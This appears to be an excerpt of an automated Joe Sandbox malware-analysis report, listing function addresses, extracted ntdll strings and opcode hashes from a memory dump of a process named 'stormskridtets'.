                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
                                    • API String ID: 0-1340214556
                                    • Opcode ID: e6b3e5432a8552311c6be00f5d5c41f99459998d2963e18a560e253284831cc2
                                    • Instruction ID: f96aa26b1ea6e22f24885cadbd4b0049ad3cf994d687b35122299c0b203cee8c
                                    • Opcode Fuzzy Hash: e6b3e5432a8552311c6be00f5d5c41f99459998d2963e18a560e253284831cc2
                                    • Instruction Fuzzy Hash: 9351F475600785EFE312CFA8C884F96BBF8EF057A0F0001A5E9989B292D779F940CB11
                                    Function 374215F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON
                                    Download Yara Rule
                                    Strings
                                    • Could not validate the crypto signature for DLL %wZ, xrefs: 3746A589
                                    • minkernel\ntdll\ldrmap.c, xrefs: 3746A59A
                                    • LdrpCompleteMapModule, xrefs: 3746A590
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                    • API String ID: 0-1676968949
                                    • Opcode ID: e93da081f143be4abfe94cdbc2c3896aa92a8c0cbf8376c66ea7fa012a646435
                                    • Instruction ID: 4d2286f2193e0045268e2c9f5c9a0b3d81fd4dcbd75cd43d8b2d33327b197e59
                                    • Opcode Fuzzy Hash: e93da081f143be4abfe94cdbc2c3896aa92a8c0cbf8376c66ea7fa012a646435
                                    • Instruction Fuzzy Hash: 16513374700B45AFE711CB18C984B9A77E5EF40768F0506A8E9519B7E1DB38F811CB49
                                    Function 373F758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
                                    • API String ID: 0-1151232445
                                    • Opcode ID: 07a2dfd0a034e4a67eaef183487868418c0be4f3cb832f2c2f418fb02ab2c314
                                    • Instruction ID: 95be06d81fbceb05faaabdbe00b224e7f67d544b3f0dd341c73d6924115ab9a6
                                    • Opcode Fuzzy Hash: 07a2dfd0a034e4a67eaef183487868418c0be4f3cb832f2c2f418fb02ab2c314
                                    • Instruction Fuzzy Hash: D441E4B93003419FFB15CE18C4D0BEA7BE19F013E4F9444AED4898B256DA76F886CB52
                                    Function 374316CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON
                                    Download Yara Rule
                                    Strings
                                    • LdrpAllocateTls, xrefs: 37471B40
                                    • minkernel\ntdll\ldrtls.c, xrefs: 37471B4A
                                    • TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 37471B39
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
                                    • API String ID: 0-4274184382
                                    • Opcode ID: bb227856305f04772ad40fb0f4d294a8db30de65bde29e4402762256cec55892
                                    • Instruction ID: 97ddc88195f24b8e4f401db3a8126947b4f9aded9d16a85276e474612882ca3b
                                    • Opcode Fuzzy Hash: bb227856305f04772ad40fb0f4d294a8db30de65bde29e4402762256cec55892
                                    • Instruction Fuzzy Hash: 214159B5A01644AFDB15CFA8C841BEEFBF5FF88314F148529E419A7240E739B811CBA1
                                    Function 3740A2C3 Relevance: 3.9, Strings: 3, Instructions: 118COMMON
                                    Download Yara Rule
                                    Strings
                                    • RtlpResUltimateFallbackInfo Exit, xrefs: 3740A309
                                    • RtlpResUltimateFallbackInfo Enter, xrefs: 3740A2FB
                                    • PS=7, xrefs: 3740A348
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: PS=7$RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                    • API String ID: 0-4206262752
                                    • Opcode ID: a27c948284817bc5e70595137f92615c3a32ed88447816447529cc72bea23ba8
                                    • Instruction ID: 93d22cd5438cfb7684c579b086ac87d2ec20ec633418e8455ce82a569a3a4053
                                    • Opcode Fuzzy Hash: a27c948284817bc5e70595137f92615c3a32ed88447816447529cc72bea23ba8
                                    • Instruction Fuzzy Hash: FE41BD79B00749EBEB01CF69C884BE9B7B4EF88754F104469E810DB351EA79F901CB41
                                    Function 374333A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON
                                    Download Yara Rule
                                    Strings
                                    • RtlCreateActivationContext, xrefs: 374729F9
                                    • SXS: %s() passed the empty activation context data, xrefs: 374729FE
                                    • Actx , xrefs: 374333AC
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
                                    • API String ID: 0-859632880
                                    • Opcode ID: e539d0527838344e029eaaf81812de8b4fcfa54e23d0c38eeda8ad9a59725fb7
                                    • Instruction ID: 241bbaa0ade6a4143b6531195b767c1ab33674af854a6e04caf7dfc0ffabffd6
                                    • Opcode Fuzzy Hash: e539d0527838344e029eaaf81812de8b4fcfa54e23d0c38eeda8ad9a59725fb7
                                    • Instruction Fuzzy Hash: 4E310E32641345ABFB12CF58DC80FD637A4AF98724F058469E8089F281EB34F862CB90
                                    Function 3748B594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON
                                    Download Yara Rule
                                    Strings
                                    • @, xrefs: 3748B670
                                    • \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 3748B632
                                    • GlobalFlag, xrefs: 3748B68F
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
                                    • API String ID: 0-4192008846
                                    • Opcode ID: b4d8d10e07f7f16232bd307b3f252ef6cabc058579e2eee6febf86718aaea2ef
                                    • Instruction ID: 766c6b817d55f17f1460ed437e1677b4b0b53ff7ab85c6e1b249a2efccb57a01
                                    • Opcode Fuzzy Hash: b4d8d10e07f7f16232bd307b3f252ef6cabc058579e2eee6febf86718aaea2ef
                                    • Instruction Fuzzy Hash: 093139B5D0021DBEEB01DF94DC80BEEBBB8EB44744F500469E615B6250E775AA04CBA5
                                    Function 37431607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON
                                    Download Yara Rule
                                    Strings
                                    • LdrpInitializeTls, xrefs: 37471A47
                                    • minkernel\ntdll\ldrtls.c, xrefs: 37471A51
                                    • DLL "%wZ" has TLS information at %p, xrefs: 37471A40
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
                                    • API String ID: 0-931879808
                                    • Opcode ID: 225c392b91913e31f4c9a4e6c76058d57d8c0341d1ec5a6894221179882e45ed
                                    • Instruction ID: bb8755b2fd7f863d8060db0d715153d2b35310a161d5f6aa19bb88c8e4dd0f2c
                                    • Opcode Fuzzy Hash: 225c392b91913e31f4c9a4e6c76058d57d8c0341d1ec5a6894221179882e45ed
                                    • Instruction Fuzzy Hash: DE31E472A41740BBF710CF84CC45FEABBBCAB88794F054159E509B7280DB78BD218BA1
                                    Function 374103E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: ___swprintf_l
                                    • String ID: #%u
                                    • API String ID: 48624451-232158463
                                    • Opcode ID: 2c7d70486af9b3c030dcf21e0428b03130bdff61bba12c9ccd1cda1b1663fccb
                                    • Instruction ID: b2e5f65672d722ba57d0dcfc59a4e9c37846867199ba922ab61d5010245bd54a
                                    • Opcode Fuzzy Hash: 2c7d70486af9b3c030dcf21e0428b03130bdff61bba12c9ccd1cda1b1663fccb
                                    • Instruction Fuzzy Hash: 687149B5A002499FDB01DFA8D984BEEB7F8AF48744F154069E914E7351EB38FA01CB61
                                    Function 374152A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @$@
                                    • API String ID: 0-149943524
                                    • Opcode ID: e26593a98a1ee4c3dde548d9b2382fe6df4eac56a34a6f26c5275891e6f23726
                                    • Instruction ID: c78eea1eabe358267613e034e37f9a876f2a3e0d00bfb9ca3b15e0feef010ae5
                                    • Opcode Fuzzy Hash: e26593a98a1ee4c3dde548d9b2382fe6df4eac56a34a6f26c5275891e6f23726
                                    • Instruction Fuzzy Hash: 3C3298B85083518BD7249F14C480BEEF7E1EF887A4F50492EE9998B390E734F955CB92
                                    Function 37405702 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID:
                                    • API String ID: 3446177414-0
                                    • Opcode ID: 0138855eeb4347c3f82c6b7a95cdafaa1f3bfd41a26a4d4b750520126e70d21c
                                    • Instruction ID: 33e3fbb08bcacbc721281db5aedd1e635475d70b8f0ff9e51ef42b625d921e9c
                                    • Opcode Fuzzy Hash: 0138855eeb4347c3f82c6b7a95cdafaa1f3bfd41a26a4d4b750520126e70d21c
                                    • Instruction Fuzzy Hash: 07317875201B06EFEB459B20CA88FD9F7A9FF84754F005029E90097A60DB78B921DFD1
                                    Function 374CA352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: `$`
                                    • API String ID: 0-197956300
                                    • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                    • Instruction ID: 9a6b5d661868db86646d6d46fc2aa9c899b723187cd04f36203cca75d777a5d6
                                    • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                    • Instruction Fuzzy Hash: E1C1AE79304342ABE714CF24C885BABBBE5BFC4368F048A2DF5958A290D778F505CB52
                                    Function 3747E6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID: Legacy$UEFI
                                    • API String ID: 2994545307-634100481
                                    • Opcode ID: eb96b3fee2a13b3c336391ac57fd8af725ae4613138eae5385b159e6bd8ab620
                                    • Instruction ID: 93758884df6388b2d93eb3e41d62fe2910a93a856e48009b18998e6d8dd8bb65
                                    • Opcode Fuzzy Hash: eb96b3fee2a13b3c336391ac57fd8af725ae4613138eae5385b159e6bd8ab620
                                    • Instruction Fuzzy Hash: B1613AB2E003A89FEB14CFA8C840BEDBBB9BF48740F51456DE559EB251DA31A901CB51
                                    Function 3741F720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: $$$
                                    • API String ID: 3446177414-233714265
                                    • Opcode ID: 0aa543eeca262414a42d69890e50f805249430c27393357d3079c1f1729cb9b3
                                    • Instruction ID: 44d6b1b6b0ca14f09f54a0e1a148847f7162bafc38d7294c9ed5ff7dc22435cb
                                    • Opcode Fuzzy Hash: 0aa543eeca262414a42d69890e50f805249430c27393357d3079c1f1729cb9b3
                                    • Instruction Fuzzy Hash: E0618AB5A02749DBEB20EFA4C580BEDF7B1BF84314F10446DD514AB692DB78B942CB81
                                    Function 374935BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
                                    • API String ID: 0-118005554
                                    • Opcode ID: 22497210ca78f5fba58bac92e2f53ec56cb19811d9f4fb59247d03903db8ca7c
                                    • Instruction ID: e97b8a837cc887644e72dcd49b0b5d72b139ffa74605a15e8701acbb5348dc8c
                                    • Opcode Fuzzy Hash: 22497210ca78f5fba58bac92e2f53ec56cb19811d9f4fb59247d03903db8ca7c
                                    • Instruction Fuzzy Hash: BE31B2762087419BD311CF24D844BAABBE4EF8A764F020869F854CB390FB34F905CB52
                                    Function 3743329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: .Local\$@
                                    • API String ID: 0-380025441
                                    • Opcode ID: 1c4086e2f2f9a2c881ec42e904905a049f14a6b42aa736fdadc22a7147bf0506
                                    • Instruction ID: 62bff7c0d94b34a5397c1eb5bcf0d25dfbe23c108ee2f7aef573ed30fee28bed
                                    • Opcode Fuzzy Hash: 1c4086e2f2f9a2c881ec42e904905a049f14a6b42aa736fdadc22a7147bf0506
                                    • Instruction Fuzzy Hash: E13194765093049FE310CF28C480ADBBBE8EB8D654F44492EF59883210EA39ED15CB93
                                    Function 374334B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON
                                    Download Yara Rule
                                    Strings
                                    • RtlpInitializeAssemblyStorageMap, xrefs: 37472A90
                                    • SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 37472A95
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
                                    • API String ID: 0-2653619699
                                    • Opcode ID: 583e2f717d99862a7dff652e09b192383087362f8b6de67c6d225560984d6c85
                                    • Instruction ID: b60fe78134362f8f1f66321f0779dc83d58add7ef8e495346efe9a3b9875b54f
                                    • Opcode Fuzzy Hash: 583e2f717d99862a7dff652e09b192383087362f8b6de67c6d225560984d6c85
                                    • Instruction Fuzzy Hash: 69110A76B01354BBF7168B489D41FEA77A99FA8B64F14806DB908DB380E674FD008690
                                    Function 3743A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID: Cleanup Group$Threadpool!
                                    • API String ID: 2994545307-4008356553
                                    • Opcode ID: 9452ef78e2c3b172091f911537098e94f2315735d054e26f41e6634736f57591
                                    • Instruction ID: ef17b17fa5b879c0f04ab8d7e763536e38ae8a9cd49be74c3fbd427fa0753641
                                    • Opcode Fuzzy Hash: 9452ef78e2c3b172091f911537098e94f2315735d054e26f41e6634736f57591
                                    • Instruction Fuzzy Hash: FF01ADB2281700AFE311CF14CD85B5677E8EB48715F018979F59CC7190E738E825CB46
                                    Function 3740C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: MUI
                                    • API String ID: 0-1339004836
                                    • Opcode ID: a0bc9325ba9ce2f6cf52b8d911e7682816baa09df59e70c9f08dd042c11b72c2
                                    • Instruction ID: 31452483deecf66230baeeafa24c619bae90558646845b08393f6f0d71631e2f
                                    • Opcode Fuzzy Hash: a0bc9325ba9ce2f6cf52b8d911e7682816baa09df59e70c9f08dd042c11b72c2
                                    • Instruction Fuzzy Hash: 08820779E00218DBEB14CFA9C880BEDF7B1BF48364F508569E859AB350DB34A946CF51
                                    Function 374065D0 Relevance: 1.9, APIs: 1, Instructions: 383COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: ca2c9791ed25d292b4351fab6270e85f18ca3c503969c43bf7c17dcb09fb07fb
                                    • Instruction ID: 33a14ddba3f16863ad978ec304d050685724e1a52582fd4379fc2973d677b56f
                                    • Opcode Fuzzy Hash: ca2c9791ed25d292b4351fab6270e85f18ca3c503969c43bf7c17dcb09fb07fb
                                    • Instruction Fuzzy Hash: B7E14775608341CFD704CF28C094A9ABBE1BF89354F058A6DE89A8B351DB31F906CF92
                                    Function 3742B2C0 Relevance: 1.9, Strings: 1, Instructions: 629COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @[O7@[O7
                                    • API String ID: 0-3032683343
                                    • Opcode ID: 09db53983e3952fbd92eeff802fe4b04b351693908d46e191c85ae98b8bd24f2
                                    • Instruction ID: fd03e9c9041754febe2be660c6887caff7d8adbe86a92533239f2c2baedff4f4
                                    • Opcode Fuzzy Hash: 09db53983e3952fbd92eeff802fe4b04b351693908d46e191c85ae98b8bd24f2
                                    • Instruction Fuzzy Hash: D6327CB5E002199FDB14CFA8C890BEEBBB5FF84754F144029E805AB390E735B961DB91
                                    Function 3742E5E7 Relevance: 1.8, APIs: 1, Instructions: 278COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 291bf47014265ebaa73f26b72a8ed5b72a84bda510e574e18ca8f1518fb01097
                                    • Instruction ID: 2e78a20aadda6223a1af60723d7f767d91875951baa432df2789fde284e1710c
                                    • Opcode Fuzzy Hash: 291bf47014265ebaa73f26b72a8ed5b72a84bda510e574e18ca8f1518fb01097
                                    • Instruction Fuzzy Hash: 8DA12575E00728EFEB11CB54C848BEEB7A4BB48768F010525E950AB390DB78BD51CB91
                                    Function 37407370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON
                                    Download Yara Rule
                                    Memory Dump Source
